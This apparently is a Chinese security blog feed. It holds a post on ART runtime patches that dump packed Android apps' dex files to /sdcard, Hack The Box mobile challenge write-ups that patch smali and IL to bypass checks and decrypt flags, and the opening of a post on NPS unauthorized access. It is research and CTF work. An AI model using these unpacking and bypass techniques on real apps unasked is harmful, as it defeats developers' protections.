已知的脱壳点

/art/runtime/dex_file.cc#OpenMemory
OpenMemory算是常见的脱壳点,在# frida-unpack中也是使用此脱壳点来导出dex对象。

std::unique_ptr<const DexFile> DexFile::OpenMemory(const uint8_t* base, size_t size,  const std::string& location,   uint32_t location_checksum,  MemMap* mem_map, const OatDexFile* oat_dex_file, std::string* error_msg) { CHECK_ALIGNED(base, 4);  // various dex file structures must be word aligned  std::unique_ptr<DexFile> dex_file(     new DexFile(base, size, location, location_checksum, mem_map, oat_dex_file)); if (!dex_file->Init(error_msg)) {    dex_file.reset();  }  return std::unique_ptr<const DexFile>(dex_file.release());}

添加导出代码

#include <sys/types.h>  //添加额外的库#include <sys/stat.h>#include <fcntl.h>int dexCount = 0;  //注意位置  char output[100]={0};  int pid = getpid();  sprintf(output, "/sdcard/%d_%d_output.dex", pid, dexCount);  dexCount++;  int fd = open(output,O_CREAT|O_RDWR,666);  if (fd > 0)  {  write(fd, base, size);  close(fd);  }

DexFile::DexFile()

在17年的DEF CON 25 黑客大会中,Avi Bashan 和 SlavaMakkaveev 提出的通过修改DexFile的构造函数DexFile::DexFile(),以及OpenAndReadMagic()函数来实现对加壳应用的内存中的dex的dump来脱壳技术

DexFile::DexFile(const uint8_t* base, size_t size,                 const std::string& location,                 uint32_t location_checksum,                 MemMap* mem_map,                 const OatDexFile* oat_dex_file)    : begin_(base),      size_(size),      location_(location),      location_checksum_(location_checksum),      mem_map_(mem_map),      header_(reinterpret_cast<const Header*>(base)),      string_ids_(reinterpret_cast<const StringId*>(base + header_->string_ids_off_)),      type_ids_(reinterpret_cast<const TypeId*>(base + header_->type_ids_off_)),      field_ids_(reinterpret_cast<const FieldId*>(base + header_->field_ids_off_)),      method_ids_(reinterpret_cast<const MethodId*>(base + header_->method_ids_off_)),      proto_ids_(reinterpret_cast<const ProtoId*>(base + header_->proto_ids_off_)),      class_defs_(reinterpret_cast<const ClassDef*>(base + header_->class_defs_off_)),      find_class_def_misses_(0),      class_def_index_(nullptr),      oat_dex_file_(oat_dex_file) {  CHECK(begin_ != nullptr) << GetLocation();  CHECK_GT(size_, 0U) << GetLocation();}

添加代码

+   //------------------------------------------------------------------+   // DEX file unpacking+   //------------------------------------------------------------------++   // let's limit processing file list+    LOG(WARNING) << "Dex File: Filename: "<< location;if (location.find("/data/data/") != std::string::npos) {    LOG(WARNING) << "Dex File: OAT file unpacking launched";    std::ofstream dst(location + "__unpacked_oat", std::ios::binary);    dst.write(reinterpret_cast<const char*>(base), size);    dst.close();} else {    LOG(WARNING) << "Dex File: OAT file unpacking not launched";}          +   //------------------------------------------------------------------

OpenFile
这个函数跟OpenMemory类似,同样是调用了OpenMemory的返回,也可以在这里直接导出dexfile.

std::unique_ptr<const DexFile> dex_file(OpenMemory(location, dex_header->checksum_, map.release(), error_msg));  if (dex_file.get() == nullptr) {    *error_msg = StringPrintf("Failed to open dex file '%s' from memory: %s", location, error_msg->c_str());    return nullptr;  }

Execute
这个函数是寒冰大佬公布的,dex2oat对类的初始化函数并没有进行编译,进入到interpreter.cc文件中的Execute函数,进而进入ART下的解释器解释执行。

#include <fcntl.h> static inline JValue Execute(Thread* self, const DexFile::CodeItem* code_item,                            ShadowFrame& shadow_frame, JValue result_register) { char *dexfilepath=(char*)malloc(sizeof(char)*1000);       if(dexfilepath!=nullptr)    {    ArtMethod* artmethod=shadow_frame.GetMethod();    const DexFile* dex_file = artmethod->GetDexFile();    const uint8_t* begin_=dex_file->Begin();  // Start of data.    size_t size_=dex_file->Size();  // Length of data.    int size_int_=(int)size_;    int fcmdline =-1;    char szCmdline[64]= {0};    char szProcName[256] = {0};    int procid = getpid();    sprintf(szCmdline,"/proc/%d/cmdline", procid);    fcmdline = open(szCmdline, O_RDONLY,0644);    if(fcmdline >0)    {        read(fcmdline, szProcName,256);        close(fcmdline);    }                 if(szProcName[0])    {            memset(dexfilepath,0,1000);                           sprintf(dexfilepath,"/sdcard/%s_%d_dexfile.dex",szProcName,size_int_);                 int dexfilefp=open(dexfilepath,O_RDONLY,0666);            if(dexfilefp>0){                                close(dexfilefp);                                dexfilefp=0;                                                                   }else{                                        int fp=open(dexfilepath,O_CREAT|O_RDWR,666);                                        if(fp>0)                                        {                                            write(fp,(void*)begin_,size_);                                            fsync(fp);                                             close(fp);                                              }                                                               }    }     if(dexfilepath!=nullptr)    {        free(dexfilepath);        dexfilepath=nullptr;    }                           }//=======================

其他脱壳点

看了寒冰大佬的文章,按照寻找脱壳点的办法找到几个新的脱壳点,这里也来记录一下,利用的是dexcache来到出dexfile。曾经有过类似的调用,也有不少利用dexcache来查找和导出的办法,比如在Java层hook函数getDex。

DexCache_getDexNative

namespace art {static jobject DexCache_getDexNative(JNIEnv* env, jobject javaDexCache) {  ScopedFastNativeObjectAccess soa(env);  mirror::DexCache* dex_cache = soa.Decode<mirror::DexCache*>(javaDexCache);  // Should only be called while holding the lock on the dex cache.  DCHECK_EQ(dex_cache->GetLockOwnerThreadId(), soa.Self()->GetThreadId());  const DexFile* dex_file = dex_cache->GetDexFile();  // =======================新增int fcmdline = -1;char szCmdline[64] = { 0 };char szProcName[256] = { 0 };int procid = getpid();sprintf(szCmdline, "/proc/%d/cmdline", procid);fcmdline = open(szCmdline, O_RDONLY, 0644);if (fcmdline > 0) {    read(fcmdline, szProcName, 256);    close(fcmdline);}char *dexfilepath = (char *) malloc(sizeof(char) * 2000);const uint8_t *begin_ = dex_file->Begin();   //dex的起始和大小size_t size_ = dex_file->Size();memset(dexfilepath, 0, 2000);int size_int_ = (int) size_;memset(dexfilepath, 0, 2000);sprintf(dexfilepath, "%s", "/sdcard/fiart");mkdir(dexfilepath, 0777);memset(dexfilepath, 0, 2000);sprintf(dexfilepath, "/sdcard/fiart/%s",szProcName);  //创建保存的文件mkdir(dexfilepath, 0777);memset(dexfilepath, 0, 2000);sprintf(dexfilepath,"/sdcard/fiart/%s/%d_dexfile.dex",szProcName, size_int_);int dexfilefp = open(dexfilepath, O_RDONLY, 0666);if (dexfilefp > 0) {    close(dexfilefp);    dexfilefp = 0;} else {    dexfilefp = open(dexfilepath, O_CREAT | O_RDWR,0666);    if (dexfilefp > 0) {        write(dexfilefp, (void *) begin_,size_);        fsync(dexfilefp);        close(dexfilefp);}}// ================================  if (dex_file == nullptr) {    return nullptr;  }

GetNameAsString
按照如下新增代码,需要新增库。

mirror::String* ArtMethod::GetNameAsString(Thread* self) {  CHECK(!IsProxyMethod());  StackHandleScope<1> hs(self);  Handle<mirror::DexCache> dex_cache(hs.NewHandle(GetDexCache()));  auto* dex_file = dex_cache->GetDexFile();  // ================================    char *dexfilepath=(char*)malloc(sizeof(char)*1000);       const uint8_t* begin_=dex_file->Begin();  // Start of data.    size_t size_=dex_file->Size();  // Length of data.    int size_int_=(int)size_;    int fcmdline =-1;    char szCmdline[64]= {0};    char szProcName[256] = {0};    int procid = getpid();    sprintf(szCmdline,"/proc/%d/cmdline", procid);    fcmdline = open(szCmdline, O_RDONLY,0644);    if(fcmdline >0)    {        read(fcmdline, szProcName,256);        close(fcmdline);    }                 if(szProcName[0])    {            memset(dexfilepath,0,1000);                           sprintf(dexfilepath,"/sdcard/%s_%d_dexfile.dex",szProcName,size_int_);                 int dexfilefp=open(dexfilepath,O_RDONLY,0666);            if(dexfilefp>0){                 close(dexfilefp);                 dexfilefp=0;                 }else{                 int fp=open(dexfilepath,O_CREAT|O_APPEND|O_RDWR,0666);                 if(fp>0)                      {                       write(fp,(void*)begin_,size_);                       fsync(fp);                        close(fp);                         }               }    }     if(dexfilepath!=nullptr)    {        free(dexfilepath);        dexfilepath=nullptr;    }   //==================================  uint32_t dex_method_idx = GetDexMethodIndex();  const DexFile::MethodId& method_id = dex_file->GetMethodId(dex_method_idx);  return Runtime::Current()->GetClassLinker()->ResolveString(*dex_file, method_id.name_idx_,dex_cache);}

EqualParameters

也是类似如上,利用dex缓存来导出的dexfile。

bool ArtMethod::EqualParameters(Handle<mirror::ObjectArray<mirror::Class>> params) {  auto* dex_cache = GetDexCache();  auto* dex_file = dex_cache->GetDexFile();  //============  char *dexfilepath=(char*)malloc(sizeof(char)*1000);       const uint8_t* begin_=dex_file->Begin();  // Start of data.    size_t size_=dex_file->Size();  // Length of data.    int size_int_=(int)size_;    int fcmdline =-1;    char szCmdline[64]= {0};    char szProcName[256] = {0};    int procid = getpid();    sprintf(szCmdline,"/proc/%d/cmdline", procid);    fcmdline = open(szCmdline, O_RDONLY,0644);    if(fcmdline >0)    {        read(fcmdline, szProcName,256);        close(fcmdline);    }    if(szProcName[0])    {        memset(dexfilepath,0,1000);                       sprintf(dexfilepath,"/sdcard/%s_%d_dexfile.dex",szProcName,size_int_);             int dexfilefp=open(dexfilepath,O_RDONLY,0666);        if(dexfilefp>0){             close(dexfilefp);             dexfilefp=0;                                                }else{             int fp=open(dexfilepath,O_CREAT|O_APPEND|O_RDWR,0666);             if(fp>0){                  write(fp,(void*)begin_,size_);                  fsync(fp);                   close(fp);                }            }    } if(dexfilepath!=nullptr)    {        free(dexfilepath);        dexfilepath=nullptr;    }                            //======================  const auto& method_id = dex_file->GetMethodId(GetDexMethodIndex());  const auto& proto_id = dex_file->GetMethodPrototype(method_id);  const DexFile::TypeList* proto_params = dex_file->GetProtoParameters(proto_id);  auto count = proto_params != nullptr ? proto_params->Size() : 0u;  auto param_len = params.Get() != nullptr ? params->GetLength() : 0u;
]]>
<p>在将 dex 文件编译为 oat 文件的过程中 , 只要出现了 DexFile 对象 , 就可以将该对象对应的 dex 文件导出</p> <h2 id="已知的脱壳点"><a href="#已知的脱壳点" class="headerlink" title="已知的脱壳点">
HTB Challenges Mobile https://misakikata.github.io/2022/09/HTB-Challenges-Mobile/ 2022-09-05T10:00:02.000Z 2022-09-05T10:04:43.460Z APKey

https://app.hackthebox.com/5a438e22-07d2-4f61-9ab5-040db08fae2e

安装APP界面是一个输入用户名和密码,用GDA打开apk,发现这个是固定用户名为admin来验证passwd的一个过程,验证成功则返回flag。

public void onClick(View p0){       Toast toast;       try{          if (this.b.c.getText().toString().equals("admin")) {             MainActivity b = this.b;             String str = b.d.getText().toString();             try{                MessageDigest instance = MessageDigest.getInstance("MD5");                instance.update(str.getBytes());                byte[] uobyteArray = instance.digest();                StringBuffer str1 = new StringBuffer();                for (int i = 0; i < uobyteArray.length; i = i + 1) {                   str1.append(Integer.toHexString((uobyteArray[i] & 0x00ff)));                }                str = str1.toString();             }catch(java.security.NoSuchAlgorithmException e5){                str.printStackTrace();                str = "";             }             if (str.equals("a2a3d412e92d896134d9c9126d756f")) {                MainActivity b1 = this.b;                toast = Toast.makeText(this.b.getApplicationContext(), b.a(g.a()), 1);             label_0077 :                toast.show();             }          }          toast = Toast.makeText(this.b.getApplicationContext(), "Wrong Credentials!", 0);          goto label_0077 ;       }catch(java.lang.Exception e5){          p0.printStackTrace();       }       return;    }

可以看到把密码进行md5加密后还会对字节再进行一次&运算。因此这里不去对hash进行碰撞解密。有几种解密的办法。

方法一:

修改smail代码,把判断的if函数进行修改,原代码为

const-string p1, ""​    :goto_1    const-string v1, "a2a3d412e92d896134d9c9126d756f"​    .line 2    invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z​    move-result p1​    if-eqz p1, :cond_1

p1为0的话进程跳转,但是这个cond_1是报错,所以我们需要它不跳转。修改为if-nez。然后用AKill进行编译和安装,记得删除原包,然后输入admin/aaaaa,点击会显示flag。

同样也可以修改新增一个赋值。

:cond_0    invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;​    move-result-object p1        const-string p1, "a2a3d412e92d896134d9c9126d756f"  //新增        :try_end_1    .catch Ljava/security/NoSuchAlgorithmException; {:try_start_1 .. :try_end_1} :catch_0    .catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1

这时候不需要属于密码,点击login即可显示flag。

方法二:

上面的办法近乎于偷懒解决,现在我们开始解决一下这个代码的计算过程。先找到g.a()这个方法。

public static String a(){       ArrayList uArrayList = new ArrayList();       uArrayList.add("722gFc");       uArrayList.add("n778Hk");       uArrayList.add("jvC5bH");       uArrayList.add("lSu6G6");       uArrayList.add("HG36Hj");       uArrayList.add("97y43E");       uArrayList.add("kjHf5d");       uArrayList.add("85tR5d");       uArrayList.add("1UlBm2");       uArrayList.add("kI94fD");       uArrayList = new ArrayList();       uArrayList.add("ue7888");       uArrayList.add("6HxWkw");       uArrayList.add("gGhy77");       uArrayList.add("837gtG");       uArrayList.add("HyTg67");       uArrayList.add("GHR673");       uArrayList.add("ftr56r");       uArrayList.add("kikoi9");       uArrayList.add("kdoO0o");       uArrayList.add("2DabnR");       uArrayList = new ArrayList();       uArrayList.add("jH67k8");       uArrayList.add("8Huk89");       uArrayList.add("fr5GtE");       uArrayList.add("Hg5f6Y");       uArrayList.add("o0J8G5");       uArrayList.add("Wod2bk");       uArrayList.add("Yuu7Y5");       uArrayList.add("kI9ko0");       uArrayList.add("dS4Er5");       uArrayList.add("h93Fr5");       return new StringBuilder()+uArrayList.get(8)+h.a()+i.a()+f.a()+e.a()+uArrayList.get(9)+c.a()+uArrayList.get(5)+d.a()+a.a();    }

从结果上看,就是uArrayList.get(8)=1UlBm2h.a()=kHtZuV,然后依次类推,得到返回的是1UlBm2kHtZuVrSE6qY6HxWkwHyeaX92DabnRFlEGyLWod2bkwAxcoc85S94kFpV1

最后再去查看b.a()

public static String a(String p0){       Cipher instance = Cipher.getInstance(g.b());       instance.init(2, new SecretKeySpec(new StringBuilder()+String.valueOf(h.a().charAt(0))+String.valueOf(a.a().charAt(8))+String.valueOf(e.a().charAt(5))+String.valueOf(i.a().charAt(4))+String.valueOf(h.a().charAt(1)).toLowerCase()+String.valueOf(h.a().charAt(4))+String.valueOf(h.a().charAt(3)).toLowerCase()+String.valueOf(h.a().charAt(3))+String.valueOf(h.a().charAt(0))+String.valueOf(a.a().charAt(8)).toLowerCase()+String.valueOf(a.a().charAt(8)).toLowerCase()+String.valueOf(i.a().charAt(0))+String.valueOf(c.a().charAt(3)).toLowerCase()+String.valueOf(f.a().charAt(3))+String.valueOf(f.a().charAt(0))+String.valueOf(c.a().charAt(0)).getBytes(), g.b()));       return new String(instance.doFinal(Base64.decode(p0, 0)), "utf-8");    }  //这里有个问题最后的getbytes写的是最后一个字节的,实际上是全部的,这是gda的伪代码bug。

这是一段加密的东东,这个g.b()指的是加密算法。

public static String b(){       return new StringBuilder()+String.valueOf(d.a().charAt(1))+String.valueOf(i.a().charAt(2))+String.valueOf(i.a().charAt(1));   //AES    }

先把上面的那一段字符找出来,结果是kV9qhuzZkvvrgW6F,至此密钥也有了,拿去解密一下。

于是在ECB模式下,pkcs7,128位解密出来的为:HTB{m0r3_0bfusc4t1on_w0uld_n0t_hurt}

image-20220831154334828

方法三:

这个办法已经有点过分了,打开JEB,没错它会自动给你计算出来

image-20220831154358852

呜呜呜,一开始不知道,还在那一个字节一个字节的算半天,结果这边直接给你搞出来了。

SeeTheSharpFlag

这个APP完美的诠释了复杂,一个简单的功能搞得贼复杂,这个是x86架构,一般app都是arm或者至少支持arm和x86,这个玩意只有这个架构,只能在模拟器中运行。

反编译后可以看到里面的包,Main在crc644cebad5a72cca3b1.MainActivity下。

image-20220901101054390

从代码上看大量调用了native方法,也就是引用了so文件,没错一开始我就是这么想的,但是搜了半天没搜到调用的so代码。

觉得这个包mono和Xamarin有点问题,看起来就像是调用的框架一样,搜一下Xamarin发现还真是开源平台。

https://docs.microsoft.com/zh-cn/xamarin/get-started/what-is-xamarin

Xamarin 是一个开放源代码平台,用于通过 .NET 构建适用于 iOS、Android 和 Windows 的新式高性能应用程序。 Xamarin 是一个抽象层,可管理共享代码与基础平台代码的通信。 Xamarin 在提供便利(如内存分配和垃圾回收)的托管环境中运行。​Xamarin 使开发人员可以跨平台共享其应用程序(平均 90%)。 此模式允许开发人员以一种语言编写所有业务逻辑(或重复使用现有应用程序代码),但在每个平台上实现本机性能和外观。​Xamarin 应用程序可以在电脑或 Mac 上进行编写并编译为本机应用程序包,如 Android 上的 .apk 文件,或 iOS 上的 .ipa 文件。

所以这个东西是用C#当作中间语言进行编写的,适用本机的应用程序,而且mono是执行环境。所以这大概就是为啥给的一个x86的。

里面的so看起来都是框架的so,也没有自己编写的加解密so。进入手机端查看是不是还生成了啥。

Xamarin的文件目录在/data/user/0/com.companyname.seethesharpflag/下,可惜啥都没有,难道真要去分析这些代码不成。

终于在想起来解压一下看看资源文件的时候发现assemblies目录,里面有一对dll文件,同时还存在一个SeeTheSharpFlag的这种dll,好家伙在这等着你呢。

方法一:

使用010editor打开查看一下,发现文件头是58414C5A,不是标准的PE头4D5A。

image-20220901111330401

然后搜索XALZ dll,发现了这么一个项目:https://github.com/NickstaDB/xamarin-decompress

所以这个dll是被xamarin项目进行压缩过,只需要解压缩就可以正常反编译了。

关于这个Xamarin项目和dll的介绍:https://cihansol.com/blog/index.php/2021/08/09/unpacking-xamarin-android-mobile-applications/

在这里多说一句,项目的打包方式分为两种:非捆绑构建和捆绑构建,最直观的区别在其中的dll文件是否直接显示在文件内,捆绑构建会把dll打包为一个so文件,需要进一步解包才能拿到dll文件。如果遇到捆绑式打包则可以使用上文中的工具进行解包:https://github.com/cihansol/XamAsmUnZ

使用dnspy打开解压缩后的dll,在SeeTheSharpFlag.decompressed.dll中可以找到关键处。

image-20220901121802638

点击右键编辑IL指令,修改33行的brfalse.s为brtrue.s。保存替换原dll。但这种只是破解,在这种需要输出的情况下不能达到目的,只是让显示成功而已。

image-20220901140820471

所以我们需要输出的是streamReader.ReadToEnd()。将指令中其他无关的指令nop掉

image-20220901162025169

结果为如下,这样我们只需要输入任意值,均可显示这个flag参数。

image-20220901162035742

看起来很不错,但是问题在覆写了dll后,APK打包签名后不能执行,因为这里有几点需要注意一下:

  1. 因为已经解压缩了,所以全部的dll都要解压缩一起打包。
  2. 不能压缩,只能用压缩工具进行打包,如果压缩了会造成文件错误。
  3. 还需要进行APK的字节对齐,使用zipalign优化即可。这一步使用的集成工具进行。
  4. 修改zip包为apk,然后进行签名安装即可,如果是上述修改则不需要输入,直接点击即可。

image-20220901162316280

方法二:

换一种思路,尝试把这个方法自己运行一遍,找个在线运行C#的网站:https://www.bejson.com/runcode/csharp/。运行以下代码:

using System;using System.CodeDom.Compiler;using System.IO;using System.Reflection;using System.Security.Cryptography;​class Program{    public static void Main(string[] args)    {        byte[] array = Convert.FromBase64String("sjAbajc4sWMUn6CHJBSfQ39p2fNg2trMVQ/MmTB5mno=");        byte[] array2 = Convert.FromBase64String("6F+WgzEp5QXodJV+iTli4Q==");        byte[] array3 = Convert.FromBase64String("DZ6YdaWJlZav26VmEEQ31A==");        using (AesManaged aesManaged = new AesManaged())            {                using (ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(array2, array3))                {                    using (MemoryStream memoryStream = new MemoryStream(array))                    {                        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, 0))                        {                            using (StreamReader streamReader = new StreamReader(cryptoStream))                            {                                Console.WriteLine(streamReader.ReadToEnd());                            }                        }                    }                }            }    }}

可以得到结果:

HTB{MyPasswordIsVerySecure}

SAW

下载后,这个APP大概两M不到,安装需要SDK29以上,手头没有这么高的安卓版本,尝试降级也不行,后来查了一下论坛发现有人提示需要发送一个“send”特定的东西,重新看了一下代码,发现onCreate里有验证,不存在会直接被finish进程。

image-20220905153036735

解决办法也很简单,我直接把这一段的smail代码干掉了。结果就是这样,下面是重新编译重新打开的。

image-20220905153129666

顺便把alert方法内的也做掉了,虽然看起来不太影响

image-20220905153254942

虽然能打开,但是显示click me,但是点击还是会结束,看了半天发现是显示窗口上应该是有覆盖,修改new LayoutParams(200, 200, 2, 8, -2)中的-2为-4,这样点击虽然能显示这个白色窗口,但还没显示后续的alert方法内的窗口。也就是这个窗口没有显示在最上层,依然被覆盖。这个没解决,但从代码上看只需要查看so应该就可以了。

调用的a方法参数,第一个是FILE_PATH_PREFIX,应该是APP的数据存储位置,第二个是answer,不知道是啥,但是应该是需要输入的东西。

image-20220905154405154

查看so内的a方法,里面有一个关键方法是_Z1aP7_JNIEnvP8_1,从传参得知,参数a2并不是很关键,他的作用更是一种判断,这里不去管做啥的。

image-20220905154249620

现在需要找到jni_def,这个数组和0x64进行了异或,然后写入文件,这里的路径就是有权限写的应该就是数据存储目录/data/user/0/com.stego.saw/,jni_def是如下的一堆十六进制数据。

image-20220905155222110

构造一个c代码,先输出v11,看看到底异或成啥了。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main() {

int jni_def[] = {0, 1, 0x1C, 0x6E, 0x54, 0x57, 0x51, 0x64, 0xAB, 7,
0x98, 0x60, 0xA2, 0xE6, 0xB3, 1, 0xEB, 0xC1, 0x19,
0xB4, 0x39, 0xE, 0x74, 0xA1, 0x79, 0xE3, 0xE9, 0x50,
0x9B, 0xE2, 0x5D, 0x9E, 0x7C, 0x67, 0x64, 0x64, 0x14,
0x64, 0x64, 0x64, 0x1C, 0x32, 0x50, 0x76, 0x64, 0x64,
0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x1C, 0x66, 0x64,
0x64, 0x6B, 0x64, 0x64, 0x64, 0x14, 0x64, 0x64, 0x64,
0x63, 0x64, 0x64, 0x64, 0xC8, 0x64, 0x64, 0x64, 0x67,
0x64, 0x64, 0x64, 0xAC, 0x64, 0x64, 0x64, 0x65, 0x64,
0x64, 0x64, 0x88, 0x64, 0x64, 0x64, 0x61, 0x64, 0x64,
0x64, 0x90, 0x64, 0x64, 0x64, 0x65, 0x64, 0x64, 0x64,
0x78, 0x65, 0x64, 0x64, 0xB8, 0x65, 0x64, 0x64, 0x58,
0x65, 0x64, 0x64, 0xFE, 0x65, 0x64, 0x64, 0xC6, 0x65,
0x64, 0x64, 0xD0, 0x65, 0x64, 0x64, 0xAF, 0x65, 0x64,
0x64, 0xBB, 0x65, 0x64, 0x64, 0x97, 0x65, 0x64, 0x64,
0x63, 0x66, 0x64, 0x64, 0x68, 0x66, 0x64, 0x64, 0x6B,
0x66, 0x64, 0x64, 0x77, 0x66, 0x64, 0x64, 0x4C, 0x66,
0x64, 0x64, 0x50, 0x66, 0x64, 0x64, 0x5A, 0x66, 0x64,
0x64, 0x20, 0x66, 0x64, 0x64, 0x2D, 0x66, 0x64, 0x64,
0x66, 0x64, 0x64, 0x64, 0x67, 0x64, 0x64, 0x64, 0x60,
0x64, 0x64, 0x64, 0x61, 0x64, 0x64, 0x64, 0x62, 0x64,
0x64, 0x64, 0x63, 0x64, 0x64, 0x64, 0x6D, 0x64, 0x64,
0x64, 0x63, 0x64, 0x64, 0x64, 0x61, 0x64, 0x64, 0x64,
0x64, 0x64, 0x64, 0x64, 0x6C, 0x64, 0x64, 0x64, 0x61,
0x64, 0x64, 0x64, 0xE8, 0x65, 0x64, 0x64, 0x6C, 0x64,
0x64, 0x64, 0x61, 0x64, 0x64, 0x64, 0xF0, 0x65, 0x64,
0x64, 0x67, 0x64, 0x64, 0x64, 0x69, 0x64, 0x64, 0x64,
0x64, 0x64, 0x65, 0x64, 0x6A, 0x64, 0x64, 0x64, 0x65,
0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x60, 0x64,
0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x60, 0x64, 0x64,
0x64, 0x6F, 0x64, 0x64, 0x64, 0x60, 0x64, 0x66, 0x64,
0x68, 0x64, 0x64, 0x64, 0x60, 0x64, 0x64, 0x64, 0x64,
0x64, 0x64, 0x64, 0x65, 0x64, 0x64, 0x64, 0x64, 0x64,
0x64, 0x64, 0x6E, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64,
0x64, 0, 0x66, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64,
0x65, 0x64, 0x65, 0x64, 0x65, 0x64, 0x64, 0x64, 0x36,
0x66, 0x64, 0x64, 0x60, 0x64, 0x64, 0x64, 0x14, 0x74,
0x65, 0x64, 0x64, 0x64, 0x6A, 0x64, 0x66, 0x64, 0x64,
0x64, 0x66, 0x64, 0x64, 0x64, 0x33, 0x66, 0x64, 0x64,
0x6C, 0x64, 0x64, 0x64, 6, 0x64, 0x64, 0x64, 0x7E,
0x65, 0x65, 0x64, 0xA, 0x44, 0x64, 0x64, 0x74, 0x64,
0x6A, 0x64, 0x65, 0x64, 0x65, 0x64, 0x64, 0x64, 0x64,
0x64, 0x39, 0x66, 0x64, 0x64, 0x60, 0x64, 0x64, 0x64,
0x15, 0x64, 0x67, 0x64, 0x64, 0x64, 0x6A, 0x64, 0x65,
0x64, 0x64, 0x64, 0x66, 0x64, 0x64, 0x64, 0x65, 0x64,
0x64, 0x64, 0x62, 0x64, 0x62, 0x58, 0xD, 0xA, 0xD,
0x10, 0x5A, 0x64, 0x74, 0x2C, 0x30, 0x26, 0x1F, 0x37,
5, 0x13, 0x37, 0x54, 0x20, 0x27, 0x28, 0xD, 0xA, 3,
0x19, 0x64, 0x71, 0x28, 0xE, 5, 0x12, 5, 0x4B, 0xD,
0xB, 0x4B, 0x34, 0x16, 0xD, 0xA, 0x10, 0x37, 0x10,
0x16, 1, 5, 9, 0x5F, 0x64, 0x76, 0x28, 0xE, 5, 0x12,
5, 0x4B, 8, 5, 0xA, 3, 0x4B, 0x2B, 6, 0xE, 1, 7, 0x10,
0x5F, 0x64, 0x76, 0x28, 0xE, 5, 0x12, 5, 0x4B, 8, 5,
0xA, 3, 0x4B, 0x37, 0x10, 0x16, 0xD, 0xA, 3, 0x5F,
0x64, 0x76, 0x28, 0xE, 5, 0x12, 5, 0x4B, 8, 5, 0xA,
3, 0x4B, 0x37, 0x1D, 0x17, 0x10, 1, 9, 0x5F, 0x64,
0x67, 0x28, 0x1C, 0x5F, 0x64, 0x65, 0x32, 0x64, 0x66,
0x32, 0x28, 0x64, 0x77, 0x3F, 0x28, 0xE, 5, 0x12, 5,
0x4B, 8, 5, 0xA, 3, 0x4B, 0x37, 0x10, 0x16, 0xD, 0xA,
3, 0x5F, 0x64, 0x6E, 5, 6, 7, 0, 1, 0x4A, 0xE, 5, 0x12,
5, 0x64, 0x6C, 8, 0xB, 3, 0x14, 0x16, 0xD, 0xA, 0x10,
0x64, 0x60, 9, 5, 0xD, 0xA, 0x64, 0x67, 0xB, 0x11,
0x10, 0x64, 0x63, 0x14, 0x16, 0xD, 0xA, 0x10, 8, 0xA,
0x64, 0x65, 0x64, 0x63, 0x6A, 0x64, 0x60, 0x64, 0x63,
0x6A, 0x1C, 0x64, 0x63, 0x65, 0x64, 0x63, 0x6A, 0x58,
0x64, 0x64, 0x64, 0x67, 0x64, 0x66, 0xE4, 0xE4, 0x60,
0xD8, 0x66, 0x65, 0x6D, 0xB0, 0x66, 0x65, 0x6D, 0x90,
0x66, 0x64, 0x64, 0x69, 0x64, 0x64, 0x64, 0x64, 0x64,
0x64, 0x64, 0x65, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64,
0x64, 0x65, 0x64, 0x64, 0x64, 0x6B, 0x64, 0x64, 0x64,
0x14, 0x64, 0x64, 0x64, 0x66, 0x64, 0x64, 0x64, 0x63,
0x64, 0x64, 0x64, 0xC8, 0x64, 0x64, 0x64, 0x67, 0x64,
0x64, 0x64, 0x67, 0x64, 0x64, 0x64, 0xAC, 0x64, 0x64,
0x64, 0x60, 0x64, 0x64, 0x64, 0x65, 0x64, 0x64, 0x64,
0x88, 0x64, 0x64, 0x64, 0x61, 0x64, 0x64, 0x64, 0x61,
0x64, 0x64, 0x64, 0x90, 0x64, 0x64, 0x64, 0x62, 0x64,
0x64, 0x64, 0x65, 0x64, 0x64, 0x64, 0x78, 0x65, 0x64,
0x64, 0x65, 0x44, 0x64, 0x64, 0x67, 0x64, 0x64, 0x64,
0x58, 0x65, 0x64, 0x64, 0x65, 0x74, 0x64, 0x64, 0x66,
0x64, 0x64, 0x64, 0xE8, 0x65, 0x64, 0x64, 0x66, 0x44,
0x64, 0x64, 0x6B, 0x64, 0x64, 0x64, 0xFE, 0x65, 0x64,
0x64, 0x67, 0x44, 0x64, 0x64, 0x67, 0x64, 0x64, 0x64,
0x36, 0x66, 0x64, 0x64, 0x64, 0x44, 0x64, 0x64, 0x65,
0x64, 0x64, 0x64, 0, 0x66, 0x64, 0x64, 0x64, 0x74,
0x64, 0x64, 0x65, 0x64, 0x64, 0x64, 0x1C, 0x66, 0x64,
0x64
};

char v11[800];
char *a1 = "/data/user/0/com.stego.saw/";
int v5;
char *v6; // r5
char *v7; // r0
FILE *v8; // r0
FILE *v9;

for ( int i = 0; i != 792; ++i )
v11[i] = jni_def[i] ^ 0x64;
printf(v11);
v5 = strlen(a1);
v6 = calloc(v5 + 2, 1u);
v7 = strcpy(v6, a1);
* &v6[strlen(v7)] = 104;
v8 = fopen(v6, "wb");
if ( !v8 )
return 0;
v9 = v8;
for ( int j = 0; j != 792; ++j )
fputc(v11[j], v9);
fclose(v9);
return 1;
}

image-20220905155340979

应该是生成一个dex文件,但是由于我是本机去运行,不能按照上面的a1进行写文件,需要重新赋值修改a1的值。

char *a1 = "file";

运行后在当前文件目录生成一个fileh文件,打开即可看到里面的flag。
image-20220905155543596

]]>
<h2 id="APKey"><a href="#APKey" class="headerlink" title="APKey"></a>APKey</h2><p><a href="https://app.hackthebox.com/5a438e22-07d2-4f61-9ab
NPS未授权访问 https://misakikata.github.io/2022/08/NPS未授权访问/ 2022-08-16T07:33:13.000Z 2022-08-16T07:52:40.592Z nps未授权访问

根据GitHub上的脚本,得知auth_key基本都是本地MD5加密得来的,但在一些系统上测试失败,后来发现是本地和服务器的时间有问题,所以查了一下文档,发现有直接获取时间戳和加密密钥的地方。

